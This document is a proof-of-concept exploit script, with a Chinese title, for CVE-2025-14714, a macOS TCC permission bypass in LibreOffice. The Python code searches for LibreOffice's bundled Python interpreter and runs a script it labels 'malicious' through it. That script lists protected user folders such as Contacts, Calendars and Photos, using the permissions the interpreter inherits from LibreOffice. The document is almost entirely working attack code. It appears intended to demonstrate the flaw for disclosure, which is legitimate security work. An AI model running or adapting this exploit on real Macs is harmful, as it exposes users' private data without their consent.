CVE-2025-14714 LibreOffice macOS TCC权限绕过漏洞

# CVE-2025-14714 PoC - LibreOffice macOS TCC Permission Bypass # This PoC demonstrates how to invoke the bundled Python interpreter # to inherit LibreOffice's TCC permissions import os import subprocess import sys def exploit_cve_2025_14714(): """ LibreOffice macOS TCC Permission Bypass Exploit This vulnerability allows an attacker to execute the bundled Python interpreter which inherits the TCC permissions granted to LibreOffice. """ # Common LibreOffice installation paths on macOS libreoffice_paths = [ "/Applications/LibreOffice.app/Contents/Resources/python", "/Applications/LibreOffice.app/Contents/MacOS/python", os.path.expanduser("~/Applications/LibreOffice.app/Contents/Resources/python") ] python_path = None for path in libreoffice_paths: if os.path.exists(path): python_path = path break if not python_path: print("[-] LibreOffice Python interpreter not found") return False print(f"[+] Found LibreOffice Python at: {python_path}") # Malicious payload - accessing TCC-protected resources malicious_script = ''' import os import sys # Attempt to access TCC-protected resources # This would normally require explicit user authorization print("[*] LibreOffice TCC Permission Bypass - CVE-2025-14714") print("[*] Running with inherited TCC permissions...\n") # Check current user context print(f"[*] Current User: {os.getenv('USER')}") print(f"[*] Current UID: {os.getuid()}") # List accessible directories that may contain sensitive data sensitive_paths = [ os.path.expanduser("~/Library/Application Support/"), os.path.expanduser("~/Library/Contacts/"), os.path.expanduser("~/Library/Calendars/"), os.path.expanduser("~/Library/Photos/"), os.path.expanduser("~/Library/Location Services/") ] print("[*] Accessing potentially sensitive directories:") for path in sensitive_paths: if os.path.exists(path): try: files = os.listdir(path) print(f" [+] {path} - {len(files)} items accessible") except PermissionError: print(f" [-] {path} - Access denied") else: print(f" [-] {path} - Not found") print("\n[*] Note: This script runs with LibreOffice's TCC permissions") print("[*] In vulnerable versions, this can access protected resources without user consent") ''' # Execute the malicious script through LibreOffice's Python interpreter try: print("[*] Executing payload through LibreOffice's Python interpreter...") result = subprocess.run( [python_path, "-c", malicious_script], capture_output=True, text=True, timeout=30 ) if result.returncode == 0: print("[+] Payload executed successfully") print(result.stdout) if result.stderr: print(f"[!] Stderr: {result.stderr}") return True else: print(f"[-] Execution failed with return code: {result.returncode}") print(result.stderr) return False except subprocess.TimeoutExpired: print("[-] Execution timed out") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-14714 - LibreOffice macOS TCC Permission Bypass") print("=" * 60) exploit_cve_2025_14714()